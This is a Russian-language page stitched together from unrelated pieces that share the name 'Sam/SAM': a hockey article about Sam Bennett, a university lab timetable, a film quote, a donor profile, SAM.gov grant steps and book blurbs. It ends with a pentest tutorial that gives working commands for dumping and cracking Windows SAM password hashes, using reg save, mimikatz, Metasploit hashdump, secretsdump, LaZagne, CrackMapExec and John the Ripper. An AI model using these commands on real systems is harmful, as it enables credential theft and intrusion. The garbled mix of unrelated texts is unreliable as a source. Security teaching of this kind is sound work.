«С каждым годом ты все больше привыкаешь к лиге, — сказал Беннетт. — Становишься более уверенным. Но не произошло чего-то одного. По сравнению с прошлыми годами я ничего особенного не менял. Думаю, что мне нужно еще сильно прибавлять, и мне есть где прибавлять. Безусловно, я способен на большее».

Делать скоропалительные выводы о молодых игроках очень опасно, заявил тренер «Эдмонтон Ойлерз» Кен Хичкок. Он наблюдал за Беннеттом, когда работал тренером в «Блюз» (2015-17), «Даллас Старз» (2017-18) и «Ойлерз».

«В прошлом году о Сэме было много разговоров, и они не были приятными, — сказал Хичкок. — И в конечном счете нельзя прогнозировать результативность игрока на основе его выступления в юниорах. Иногда ребята продуктивно играют в юниорах, но это не переносится в НХЛ. Но если он играет в отборе, сражается за шайбу, работает, то место найдется. Возможно, он не будет игроком топ-три, но всегда можно быть седьмым-восьмым-девятым нападающим. Но покуда ты сражаешься за шайбу и можешь ее сохранить, место найдется».

Именно так происходит с Беннеттом, игра которого, по словам Треливинга, приобрела дополнительное измерение.

 

[Последние новости НХЛ в Твиттере @NHLrussia]

 

«Надо осознать, что если ты способен забить 20 голов, то это уже довольно неплохо, — сказал генменеджер «Флэймз». — Но есть 60 с лишним игр, в которых ты не забиваешь. А что тогда ты делаешь? Молодым игрокам сложно это осознать. Но сейчас Сэм это понял и видит, что может влиять на игру не только голами, передачами и очками, и чувствует себя в этой роли комфортно. Против него играть не очень-то весело. И он играет важную роль в нашей команде».

Адаптация Беннетта — один из многих кусочков, которые для «Флэймз» (32-13-5) сложились в один пазл в этом сезоне. В последних 13 матчах «Калгари» сыграл 10-1-2 и с 69 очками занимает первое место в Тихоокеанском дивизионе, на шесть баллов опережая идущих вторыми «Сан-Хосе Шаркс».

«Наша команда сейчас комфортно себя чувствует, — сказал Беннетт. — Добиваться успеха нам помогает то, что все четыре звена способны приносить пользу, и все находятся в одной лодке. А в такой сплоченной команде я еще не играл. Мы очень близки. Сейчас очень приятно приходить на каток каждый день».

[email protected] Services | Государственный университет Сэма Хьюстона

[email protected] имеет несколько компьютерных лабораторий в кампусах ШГУ. Каждая лаборатория оснащена рабочими станциями Windows 10, приводами DVD-RW, сканерами, принтерами, портами USB и другими периферийными устройствами. Программное обеспечение, установленное в компьютерных классах, одинаково во всех компьютерных классах [email protected]


Лаборатория в нерабочее время

Спортивный центр Woodforest Bank, комната 150, является самым последним дополнением к IT Labs.Эта лабораторная работа доступна любому студенту с активной картой Bearkat One. Проведите активной картой Bearkat One, чтобы получить доступ к лаборатории в следующие часы:

ночи: с понедельника по четверг с 16:30 до 8:00

Выходные дни: пятница, 16:30 – понедельник, 8:00 

.

Адрес: 2212 Avenue I Huntsville, TX

Виртуальная лаборатория

[email protected] предлагает виртуальную компьютерную лабораторию 24 часа в сутки через приложение Remote Desktop Connection, доступное на различных платформах, включая Windows, Macintosh, iOS и Android. Виртуальная компьютерная лаборатория предоставляет доступ ко многим программным продуктам университетского городка, включая Adobe Acrobat, Adobe Distiller, CASH, Microsoft Office Suite, Oracle Crystal Ball, SAP и другие. Пожалуйста, посетите технический учебник по удаленному рабочему столу, чтобы получить пошаговое руководство по доступу к виртуальной компьютерной лаборатории.

Лаборатории общего назначения

Лаборатории общего пользования предназначены для использования студентами в запланированные часы работы. Лаборатории общего назначения расположены в NGL 200, CHSS 130 и TWC 315.Лаборатории открытого использования обычно укомплектованы лаборантами, которые могут помочь с различными темами. Ограниченное количество веб-камер и рабочих станций Macintosh доступно в компьютерных классах общего пользования.

Запрещается проносить в лабораторию еду в закрытых контейнерах.

Мы просим свести шум к минимуму, чтобы обеспечить тишину во время учебы.

Существуют особые обстоятельства, требующие изменения часов лабораторных занятий, например, промежуточные периоды между семестрами, университетские каникулы и ненастная погода.Пожалуйста, посетите раздел «Особые часы», чтобы просмотреть измененные часы.

Время работы компьютерной лаборатории общего назначения 

Академические лаборатории

Академические компьютерные классы доступны для преподавателей и сотрудников по предварительному заказу, когда компьютеры необходимы для обучения с приоритетом, отдаваемым преподавателям. Преподаватели или сотрудники могут запросить бронирование, следуя техническому руководству Ad-Astra, пошаговому руководству по подаче запроса на бронирование. Пожалуйста, посетите разделы бронирования, если вам нужна дополнительная информация о том, как зарезервировать академическую лабораторию.Когда резервирование не запланировано, эти академические лаборатории также открыты для использования студентами.

ПРИМЕЧАНИЕ. Пожалуйста, используйте сайт SHSU Room Technology, чтобы просмотреть уровни масштабирования и многое другое при выборе лаборатории для резервирования.

В академических лабораториях запрещены еда и напитки.

Часы работы академического компьютерного класса

 

АВ4 203

АБ4 204

КДЖК А111

ДРКБ 205

 

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Воскресенье

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Понедельник

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

вторник

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

Среда

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

Четверг

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

Пятница

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

Суббота

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

 

 

ЭВАНС 360

ЛДБ 407

ЛДБ 415

 

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Воскресенье

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Понедельник

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

вторник

8:00-20:00

8:00-17:00

20:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

Среда

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

Четверг

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

8:00-20:00

8:00-17:00

Пятница

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

8:00-17:00

Суббота

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

 

 

ТВС 203

ТВС 209

ТВС 210

 

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Воскресенье

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Закрыто

Понедельник

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

вторник

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Среда

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Четверг

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Пятница

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Суббота

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

Зарезервировано

 

ТВС 220

WHI 120

 

Осенние/весенние часы.

Летние часы.

Осенние/весенние часы.

Летние часы.

Воскресенье

Закрыто

Закрыто

Закрыто

Закрыто

Понедельник

Зарезервировано

Зарезервировано

8:00-20:00

Закрыто

вторник

Зарезервировано

Зарезервировано

8:00-20:00

Закрыто

Среда

Зарезервировано

Зарезервировано

8:00-20:00

Закрыто

Четверг

Зарезервировано

Зарезервировано

8:00-20:00

Закрыто

Пятница

Зарезервировано

Зарезервировано

8:00-17:00

Закрыто

Суббота

Зарезервировано

Зарезервировано

Закрыто

Закрыто

Я Сэм (2001) — Шон Пенн в роли Сэма Доусона

Сэм : Да, но я старался, очень старался.

Рита : Стараться!

Сэм : Да, но вы не знаете, вы не знаете!

Рита : Я не знаю, ЧТО?

Сэм : Да, ты не знаешь, каково это, когда ты пытаешься, и ты пытаешься, и ты пытаешься, и ты пытаешься, и ты никогда не добьешься своего! Потому что ты родился совершенным, и я родился таким, и ты совершенен!

Рита : О, это правильно?

Сэм : Такие, как ты, не знают. ..

Рита : Такие люди, как я?

Сэм : Такие люди, как ты, не знают, каково это, когда тебя ранят.Потому что у тебя нет чувств. Такие, как ты, ничего не чувствуют!

Лауреаты премии Э. Кинга Гилла Сэм и Сьюзен Торн

Это было 1 февраля 1969 года, и Сэм Торн, студент техасского университета A&M, оказался в довольно незнакомой и, возможно, несколько неудобной обстановке. Торн проделал путь в 100 милях к западу от Колледж-Стейшн в гимназию Грегори на территории кампуса Техасского университета, чтобы увидеть, как Эгги играют с Лонгхорнами в мужском баскетболе.Игры в Остине редко заканчивались хорошо для фанатов Эгги в те дни, поскольку баскетбольная команда одержала там всего пять побед со времен Второй мировой войны.

Но в ту субботу Торн думал не только о баскетболе. Его внимание быстро переключилось с корта на трибуны, когда ему представили свидание вслепую на послеобеденное время: потрясающую студентку Longhorn по имени Сьюзан Боггс. Сэм был мгновенно поражен. Сьюзан ответила тем же. Два хита, если они выключены немедленно.

Тем временем баскетбольная команда A&M сделала этот день идеальным, одержав победу над Longhorns со счетом 65-57 на пути к чемпионству Юго-Западной конференции.

В то время как большая победа Эгги на лиственных породах попала в заголовки, встреча Сэма и Сьюзен и их последующая свадьба, возможно, в конечном итоге стали более важными новостями для A&M.

В последнее время пара была в авангарде планирования, реализации и реализации крупнейшего бума спортивных сооружений в истории Texas A&M. В октябре, перед футбольным матчем против Теннесси, Торны были награждены E.Премия Кинга Гилла, самая престижная награда, присуждаемая Фондом 12-го человека. Награда ежегодно присуждается человеку (или паре) на основе финансовой приверженности миссии Фонда, приверженности добровольного защитника спортивной программы через службу и лидерство, а также высокого уровня отличия в качестве образца для подражания в карьере. службе и легкой атлетике.

Действительно, Сэм и Сьюзен Торн — безупречные примеры всех трех критериев.

«Быть ​​удостоенным такой чести, быть выделенным в районе Texas A&M, который мы так любим, — это унизительно», — сказал Сэм.«Это самое значительное признание, которое мы могли получить. Одной из величайших радостей в нашей жизни было работать и стать частью семьи сотрудников и спонсоров Фонда 12-го человека». Временами в последнее десятилетие казалось, что Торн действительно был штатным сотрудником, поскольку он поддерживал присутствие в Эггиленде почти каждый день. Будучи избранным в попечительский совет Фонда в 2009 году, Торн быстро погрузился в многочисленные инициативы. Он принимал активное участие в строительных проектах, таких как Центр развития игроков Дэвиса и футбольный комплекс Bright.

Однако два знаковых проекта

Torn включали масштабную реконструкцию двух самых знаковых площадок A&M: Kyle Field и Olsen Field (ныне Blue Bell Park).

Трехлетний проект Blue Bell Park, в котором Торн выступал в качестве связующего звена при строительстве, включал в себя добавление великолепной клубной зоны, люксов, расширенных вестибюлей, раздевалок, офисов тренеров, командного зала, тренажерных залов и живописного фасада. .Проект стоимостью 24 миллиона долларов, завершенный как раз к дню открытия в 2012 году, быстро стал одной из жемчужин студенческого бейсбола.

Участие Торнов не обошлось без некоторых нервных и немного юмористических моментов. Снос и строительство нужно было завершить за одно межсезонье, а это означало, что работы шли буквально до тех пор, пока не открылись ворота для первой игры. Когда сильный ливень за ночь накрыл Колледж-Стейшн незадолго до первой игры, Сэм проснулся от глубокого сна.

«Был сильный ливень, и внезапно в 2 часа ночи я проснулся и сказал: «Сьюзан, лифты на нижнем этаже, и я боюсь, что нас затопит. Нам нужно идти туда». и двигай эти лифты», — вспоминал Сэм, который в студенческие годы был членом бейсбольной команды и старшим криком. «Итак, она встала со мной, и мы поехали в парк Блу Белл. Все было заперто, и мы не могли попасть внутрь, поэтому она перекинула меня через забор. Представьте, посреди ночи эта бабушка поднимает меня. посреди бури.Перебравшись через забор, я побежал на стадион, сел в лифты и поднялся на верхний этаж. Мы вернулись домой, немного поспали и были готовы к работе». На следующий день стадион открылся с сухими лифтами и восторженными отзывами.

Сверкающая реконструкция Blue Bell Park оказалась прекрасной закуской к следующему крупному капитальному ремонту спортивного объекта A&M: Kyle Field.

В связи с переездом школы на Юго-восточную конференцию на 2012-13 учебный год в A&M резко возросло количество запросов на билеты.Тогдашний президент университета Боуэн Лофтин созвал комитет для изучения того, что школа должна делать со стареющим футбольным стадионом. Торн был выбран сопредседателем комитета вместе с Бобом Маклареном.

Оперативная группа увидела, что смета на масштабную реконструкцию составляет намного больше 400 миллионов долларов, и начали появляться смелые сроки для сбора средств и строительства. Благодаря целеустремленному комитету, преданной фанатской базе и невероятному количеству тяжелой работы всего за шесть месяцев было получено почти 225 миллионов долларов частных обязательств. Этот приток долларов доноров подготовил почву для крупнейшей реконструкции стадиона в американском спорте.

Много было сказано о том, что проект был бы невозможен без троицы: перехода A&M в SEC, истерии Джонни Мэнзила по поводу Хейсмана и цен на нефть в 100 долларов за баррель. Правда, однако, в том, что еще один элемент был решающим в успехе проекта: амбициозное руководство, которое отказывалось соглашаться на что-то меньшее, чем самое лучшее. Торны, безусловно, помогли в этом.

New Kyle Field был открыт 12 сентября 2015 года, когда команда Aggies одержала победу над Ball State со счетом 56–23.

«После того, как игра закончилась и большинство людей ушли, мы стояли там с нашей выгодной позиции и смотрели на стадион и дальше, — сказал Сэм. «Просматривая все, я подумал про себя: «Только техасский Эгги мог сделать то, что было сделано здесь. Никто другой, только Эгги».

«Важно помнить, что все эти объекты, которые были построены благодаря щедрости доноров Фонда 12 человек, были построены коллективно. Это не результат усилий или видения одного человека, мы сделали все это вместе, и эта способность делать что-то вместе всегда была силой Texas A&M».

Слово «вместе» особенно актуально для Сэма и Сьюзен. На самом деле, редко можно услышать, чтобы друг или знакомый упоминал одно имя без другого, и они работают в идеальном согласии друг с другом.

Благодаря совместной работе они выполнили еще одну важную миссию в своей жизни.Тридцать три года назад Торны купили летний лагерь в Арканзасе под названием Кэмп Озарк. Под их руководством молодежный лагерь, ориентированный на христиан, вырос с 18 домиков и 300 отдыхающих за лето до 92 домиков и 6500 отдыхающих. Вся семья Торн, включая их 10 внуков, каждое лето переезжает в Арканзас на три месяца, чтобы помогать присматривать за нынешним урожаем отдыхающих, которые приезжают на одно- или двухнедельные занятия.

«Бог благословил Сэма и Сьюзен друг с другом», — сказал давний друг и бывший лидер криков Нил Адамс, сыгравший роль в том, что Сэм стал членом Попечительского совета Фонда 12-го человека в 2009 году. «Вы не можете делать все то, что сделал Сэм, без большой поддержки и кого-то, кто поощрял и поддерживал его, чтобы он взял на себя эти руководящие роли. Сэм будет первым, кто скажет вам, что он был благословлен Сьюзен в своей жизни».

Несмотря на то, что Сьюзен закончила бакалавриат в Техасе, она одна из немногих, кто может сравниться со страстью Сэма ко всему, что связано с A&M. Трое детей пары, Скотт, Крис и Анжела, вместе со своими супругами окончили Техасский университет A&M, в результате чего Сьюзен осталась единственным членом семьи без кольца Эгги.Ситуация изменилась в 2013 году, когда Сьюзан, дипломированная медсестра, получила степень магистра в области санитарного просвещения.

«Я хотела заработать (когда меня назвали Эгги), а не просто получить этот титул», — сказала Сьюзен. «Существует многое, что нужно для того, чтобы заработать кольцо Эгги. Сейчас особенно сложно получить степень A&M, и теперь я чувствую себя таким же официальным, как и остальные члены моей семьи. Я всегда был Эгги с первого дня после того, как я встретил Сэма, но я хотел сделать это официальным». Преданность Торнов искренняя.На самом деле, одним принципом, которым, по словам Сэма, он руководствовался в течение многих лет работы над Blue Bell Park и Kyle Field, было желание ценить деньги доноров, полностью погружаясь в планирование и выполнение обеих реконструкций.

«Сэм и Сьюзен были идеальными партнерами в идеальное время для Техасского колледжа легкой атлетики и Фонда 12-го человека», — сказал Скип Вагнер, президент и главный исполнительный директор Фонда 12-го человека. «Очевидно, что каждый проект, к которому они прикоснулись, руководствовался искренним источником гордости.Реконструкция стадиона невозможна без поддержки тысяч доноров, и наши спонсоры хорошо поработали над этими проектами, во многом благодаря энтузиазму и лидерству Сэма и Сьюзен».

Премия Э. Кинга Гилла — постоянное напоминание об этом.

Шаг 2: Зарегистрируйтесь в SAM

Шаг 2: Зарегистрируйтесь в SAM

Регистрация в Системе управления наградами (SAM) является обязательным шагом для того, чтобы ваша организация могла подать заявку на получение федеральных грантов.Информация ниже описывает SAM и объясняет процесс бесплатной регистрации.

Назначение ЗУР

SAM — это общегосударственное веб-приложение, которое собирает, проверяет, хранит и распространяет деловую информацию о торговых партнерах федерального правительства в поддержку присуждения контрактов, грантов и процессов электронных платежей.

Перед регистрацией в SAM

Используйте SAM Status Tracker, чтобы проверить статус регистрации вашей организации в SAM.Вы также можете связаться со своим администратором гранта, финансовым отделом, финансовым директором или уполномоченным должностным лицом, чтобы узнать, зарегистрирована ли ваша организация в SAM. Если ваша организация уже зарегистрирована, обратите внимание на то, кто указан в качестве контактного лица электронного бизнеса (EBiz POC).

Именно EBiz POC вашей организации должен зарегистрировать вашу организацию в SAM. EBiz POC также отвечает за утверждение вашего запроса о ролях Grants.gov.

ПРИМЕЧАНИЕ. EBiz POC должен ежегодно продлевать регистрацию SAM вашей организации.Обновления, сделанные в SAM, отражаются на Grants.gov на следующий рабочий день.

Как зарегистрироваться в SAM

Чтобы зарегистрироваться в SAM, перейдите на веб-сайт SAM со следующей информацией:

Когда вы регистрируете новое юридическое лицо в SAM для ведения бизнеса с правительством США, SAM требует нотариально заверенное письмо о том, что вы являетесь уполномоченным администратором юридического лица, прежде чем SAM активирует регистрацию вашего юридического лица в SAM.gov.​​​​​​​

Когда ваша организация регистрируется в SAM, вы должны назначить EBiz POC.

Что такое ЗО? Это сотрудники вашей организации, которым разрешено подавать заявки на Grants.gov. Дополнительные сведения о ролях Grants. gov см. на странице «Роли рабочей области».

Нужна более подробная помощь или инструкции по использованию SAM?

Ознакомьтесь с любым из следующих ресурсов, предоставленных Администрацией общих служб (GSA) на SAM.gov:

Сколько времени занимает регистрация в SAM?

Как правило, после завершения онлайн-регистрации и отправки нотариально заверенного письма с подтверждением администратору организации регистрация в SAM занимает до двух недель, а затем 1 рабочий день для того, чтобы обновления, внесенные в SAM, отразились в Грантах.правительство Тем не менее, ваша организация должна сначала иметь EIN. Если у вашей организации нет EIN, вы должны предоставить дополнительные 5 недель, чтобы запросить и получить EIN от IRS.

Перейдите к шагу 3: Создайте учетную запись Grants.gov

You’ve Reach Sam: A Novel: 9781250762030: Thao, Dustin: Books

«Я прекрасно знал, что подписываюсь на трагическую историю любви, и это именно то, что я получил. Так что теперь я здесь, чтобы предупредить вас : Эта книга точно заставит вас плакать Убедитесь, что у вас есть под рукой коробка салфеток, я имею в виду полную коробку.»
―NPR.org

«Увлекательная предпосылка этого молодежного романа и великолепная обложка в стиле манги обещают эмоциональную поездку. Тао не разочаровывает. You’ve Reached Sam наносит удары прямо в грудь во время бесчисленных моментов, которые попадают точно в цель». и честно прекрасные моменты, которые мы несем от первой любви.Каждая слеза, которую вы прольете, читая эту книгу, будет того стоить». ―Джулиан Уинтерс, отмеченный наградами автор книги «Бегущие со львами»

«Если вы любите своих современников с крошечной частичкой волшебства, этот эмоциональный юноша идеально подходит для вас. .» ―BuzzFeed

«Тао умело сочетает тихий, элегический роман о горе с провокационным научно-фантастическим тщеславием. Пронзительное и трогательное чтение.» ―Список книг

«Приготовьте свои ткани, когда погрузитесь в эмоциональный роман Дастина Тао Вы добрались до Сэма . »
―PopSugar

«Письмо увлекательно и красиво сделано, сразу вовлекает читателей в творческие и хорошо проработанные сцены. [A] прекрасно написанное исследование горя… You’ve Reached Sam — впечатляющий дебют. Вопрос в центре книги и паранормальная предпосылка объединяются, чтобы создать повествование, полное сердца. Я магический реализм читал про исцеление и движение дальше.» ―Центр Молодежной Книги для Взрослых

«…этот дебютный роман увлечет читателей и растопит их сердца наилучшим образом.» ―Вестник Центра Детской Книги

«Сердечная история о любви потеря и горе, горько-сладкий роман Дастина Тао «Ты добрался до Сэма», скорее всего, заставит вас пролить слезы». ―Culturss

«Прикосновение волшебства, первая любовь и утрата, это история романтики и душевной боли». ―SheReads

«Вы дозвонились, Сэм» — это тихое исследование горя и того, как мы справляемся с тем, что слишком рано теряем тех, кого любим. Если вам нужен хороший, катарсический сеанс слез, это для вас!» ―The Nerd Daily

Сброс учетных данных: SAM — статьи о взломе

В этой статье мы узнаем о SAM. Мы узнаем о паролях и о том, как они хранятся в SAM. Мы также сосредоточимся на аутентификации NTLM. Наконец, мы будем использовать множество различных инструментов для извлечения этих учетных данных из SAM.

Содержание
  • Знакомство с SAM
  • Как хранятся пароли?
  • Аутентификация LM
  • Аутентификация NTLM
  • Windows 7
    • ПвДамп7
    • СамДамп2
    • Платформа Metasploit
      • Invoke-PowerDump.PS1
      • Get-PassHashes.ps1
    • PowerShell
  • Windows 10
    • Мимикатц
    • Импактер
    • Платформа Metasploit
      • Хеш-дамп
      • Credential_collector
      • Load_kiwi (Мимикатц)
    • Коадич
    • Империя PowerShell
    • Лазань
    • CrackMapExec
  • Расшифровка хэша

Знакомство с SAM

SAM — это сокращение от диспетчера учетных записей безопасности, который управляет всеми учетными записями пользователей и их паролями. Он действует как база данных. Все пароли хэшируются, а затем сохраняются в SAM. LSA (локальный орган безопасности) отвечает за проверку входа пользователя путем сопоставления паролей с базой данных, поддерживаемой в SAM. SAM начинает работать в фоновом режиме, как только загружается Windows. SAM находится в C:\Windows\System32\config , а пароли, хешированные и сохраненные в SAM, можно найти в реестре, просто откройте редактор реестра и перейдите к HKEY_LOCAL_MACHINE\SAM .

Как хранятся пароли в Windows?

Чтобы узнать, как пароли сохраняются в Windows, нам сначала нужно понять, что такое LM, NTLM v1 и v2, Kerberos.

Аутентификация LM Аутентификация

LAN Manager (LM) была разработана IBM для операционных систем Microsoft Windows. Безопасность, которую он обеспечивает, сегодня считается взломанной. Он преобразует ваш пароль в хэш, разбивая его на две части по семь символов в каждой. А затем дальнейшее шифрование каждого фрагмента. Он также не чувствителен к регистру, что является огромным недостатком. Этот метод преобразует всю строку пароля в верхний регистр, поэтому, когда злоумышленник применяет любую атаку, такую ​​​​как грубая сила или словарь; они могут вообще избежать возможности строчных букв. Для шифрования используется 56-битный ключ DES, который теперь можно легко взломать.

Проверка подлинности NTLM Аутентификация

NTLM была разработана для защиты систем, поскольку в то время LM оказалась небезопасной.В основе NTLM лежит механизм вызов-ответ. Он использует три компонента — одноразовый номер (вызов), ответ и аутентификацию.

Когда какой-либо пароль сохраняется в Windows, NTLM начинает работать, шифруя пароль и сохраняя хэш указанного пароля, в то время как фактический пароль удаляется. И далее отправляет имя пользователя на сервер, затем сервер создает 16-байтную случайную числовую строку, а именно nonce и отправляет ее клиенту. Теперь клиент зашифрует одноразовый номер, используя хеш-строку пароля, и отправит результат обратно на сервер.Этот процесс называется реакцией. Эти три компонента (одноразовый номер, имя пользователя и ответ) будут отправлены на контроллер домена. Контроллер домена восстановит пароль, используя хэш из базы данных диспетчера учетных записей безопасности (SAM). Кроме того, контроллер домена проверит одноразовый номер и ответ, если они совпадают, аутентификация окажется успешной.

Работа NTLM v1 и NTML v2 одинакова, хотя есть несколько различий, например, NTML v1 — это MD4, а v2 — MD5, а в v1 длина C/R составляет 56 бит + 56 бит + 16 бит, тогда как v2 использует 128 бит.Когда дело доходит до алгоритма C/R, v1 использует DES (режим ECB), а v2 — HMAC_MD5. и, наконец, в v1 длина значения C/R составляет 64 бита + 64 бита + 64 бита, а v2 использует 128 бит.

Теперь, когда мы поняли эти системы хеширования, давайте сосредоточимся на том, как их сбрасывать. Методы, на которых мы сосредоточимся, лучше всего подходят как для внутреннего, так и для внешнего пен-тестирования. Давай начнем!

ПРИМЕЧАНИЕ. Microsoft изменила алгоритм в Windows 10 v1607, заменив шифр RC4 на AES. Это изменение сделало устаревшими все инструменты извлечения, которые напрямую обращаются к SAM для дампа хэшей.Некоторые инструменты были обновлены и корректно обрабатывают новый метод шифрования. Но другие не смогли удержаться. Это не значит, что их больше нельзя использовать. Это просто означает, что если мы сталкиваемся с последней версией Windows 10, мы скорее используем инструменты обновления. Поэтому мы разделили эту статью на 2 части. Windows 7 и Windows 10.

Windows 7

ПвДамп7

Этот инструмент разработан Tarasco, и вы можете скачать его здесь. Этот инструмент извлекает файл SAM из системы и выводит его учетные данные.Чтобы запустить этот инструмент, просто запустите следующую команду в командной строке после загрузки:

 PwDump7.exe 

И в результате он выгружает все хэши, хранящиеся в файле SAM, как показано на изображении выше.

Теперь мы сохраним значения реестра файла SAM и системного файла в файле в системе, используя следующие команды:

 регистр сохранить hklm\sam c:\sam
рег сохранить hklm\system c:\system 

Мы сохранили значения с помощью приведенной выше команды для извлечения данных из файла SAM.

СамДамп2

После того, как вы получили данные из SAM, вы можете использовать инструмент SamDump2 для создания дампа его хэшей с помощью следующей команды:

 система samdump2 сэм 

Платформа Metasploit: Invoke-Powerdump.ps1

Загрузить скрипт Invoke-Powerdump

Метод Metasploit использует PowerShell. После получения сеанса meterpreter откройте Windows PowerShell с помощью команды load PowerShell .Затем используйте следующий набор команд для запуска сценария Invoke-PowerDump.ps1.

 powershell_import /root/powershell/Invoke-PowerDump.ps1
powershell_execute Invoke-PowerDump 

После того, как приведенные выше команды выполнят скрипт, вы получите сброшенные пароли, как на изображении выше.

Платформа Metasploit: Get-PassHashes.ps1

Скачать скрипт Get-PassHashes

Опять же, через meterpreter, получите доступ к Windows PowerShell, используя команду load PowerShell.И, как и в предыдущем методе, используйте следующие команды для выполнения сценариев для получения паролей.

 powershell_import /root/powershell/Get-PassHashes.ps1
powershell_execute Get-PassHashes 

И ВУАЛЯ! Все пароли восстановлены.

PowerShell

Загрузить скрипт Invoke-Powerdump

Этот метод отлично подходит для локального тестирования, также известного как внутреннее тестирование. Чтобы использовать этот метод, просто введите в Powershell следующее:

 Import-Module <'путь к скрипту powerdump'>-
Invoke-PowerDump 

И он выдаст вам все учетные данные.

ПРИМЕЧАНИЕ. Это были инструменты, которые будут работать только в Windows 7. Теперь давайте рассмотрим инструменты, которые работают в Windows 10. Инструменты, которые работают в Windows 10, также могут работать в Windows 7, но не наоборот. Упомянутые выше инструменты работают только в Windows 7. Даже если они работают в Windows 10 и выдают хэш, этот хеш не будет точным и не будет работать и/или взломан.

Windows 10

Мимикатц

Существует достаточно хороший способ сбросить хэши SAM-файла с помощью mimikatz.Этот метод довольно прост и лучше всего подходит для внутреннего тестирования на проникновение. В одной из наших предыдущих статей мы рассмотрели mimikatz, прочтите эту статью, нажмите здесь . Итак, в этом методе мы будем использовать команду token::elevate . Эта команда отвечает за предоставление mimikatz доступа к файлу SAM для дампа хэшей. Теперь, чтобы использовать этот метод, используйте следующий набор команд:

 привилегия :: отладка
токен :: поднять
лсадамп::сэм 

Импактер

Инструмент Impacket также может извлечь для вас все хэши из файла SAM с помощью следующей команды:

 . /secretsdump.py -sam /root/Desktop/sam -system /root/Desktop/system ЛОКАЛЬНЫЙ 

Платформа Metasploit: HashDump

Когда у вас есть сеанс meterpreter для цели, просто запустите команду hashdump , и она выгрузит все хэши из файла SAM целевой системы. То же самое показано на изображении ниже:

Другой способ сброса хэшей через модуль hashdump — это пост-эксплойт, который предлагает Metasploit. Чтобы использовать указанный эксплойт, используйте следующий набор команд:

 использовать post/windows/gather/hashdump
установить сеанс 1
эксплуатировать 

Платформа Metasploit: credential_collector

Еще один способ сбросить учетные данные с помощью Metasploit — использовать другой встроенный почтовый эксплойт.Чтобы использовать этот эксплойт, просто запустите сеанс в фоновом режиме и выполните следующую команду:

.
 использовать post/windows/gather/credential/credential_collector
установить сеанс 1
эксплуатировать 

Metasploit Framework: загрузить киви

Следующий метод, который предлагает Metasploit, — запустить модуль mimikatz. Чтобы загрузить mimikatz, используйте команду load kiwi , а затем используйте следующую команду для создания дампа всего файла SAM с помощью mimikatz.

 lsa_dump_sam 

Следовательно, у вас есть пароли, как вы можете видеть на изображении выше.

Коадич

После сеанса Koadic C2 используйте модуль hashdump_sam для получения паролей, как показано ниже:

 использовать hashdump_sam
выполнить 

Все хэши из файла SAM будут сброшены, как показано на рисунке выше.

Империя Powershell: мимикатц/сэм

После прохождения сеанса через империю взаимодействуйте с сеансом и используйте модуль mimikatz/sam для сброса учетных данных с помощью следующих команд:

 учетные данные usemodule/mimikatz/sam
выполнить 

Этот эксплойт запустит mimikatz и доставит вам все пароли, которые вы пожелаете, загрузив файл SAM.

Лазань

LaZage — отличный инструмент для сброса всех видов паролей. Мы специально рассмотрели LaZagne в нашей предыдущей статье. Чтобы посетить указанную статью, нажмите здесь. Теперь, чтобы сбросить хэши SAM с помощью LaZagne, просто используйте следующую команду:

 lazagne.exe все 

Ура!!! Все учетные данные сброшены.

CrackMapExec

CrackMapExec — действительно изящный инструмент, который можно установить с помощью простой установки, и он работает очень быстро.С помощью CrackMapExec мы можем очень быстро и легко сбрасывать хэши в SAM. Требуется куча вещей.

Требования:

Имя пользователя: Администратор

Пароль: [электронная почта защищена]

IP-адрес: 192.168.1.105

Синтаксис: crackmapexec smb [IP-адрес] -u ‘[Имя пользователя]’ -p ‘[Пароль]’ –sam

 crackmapexec smb 192.168.1.105 -u 'Администратор' -p '[электронная почта защищена]' --sam 

Подробнее: Боковой момент в Active Directory: CrackMapExec

Расшифровка хэша: Джон Потрошитель

John The Ripper — удивительный инструмент для взлома хэша. Этому инструменту мы посвятили две статьи. Чтобы узнать больше о Джоне Потрошителе, нажмите здесь — часть 1 , часть 2 . После того, как вы сбросили все хэши из файла SAM с помощью любого из методов, указанных выше, вам просто нужен инструмент John The Ripper для взлома хэшей с помощью следующей команды:

 джон –format=NT hash –показать 

И, как видите, он раскроет пароль, взломав данный хэш.

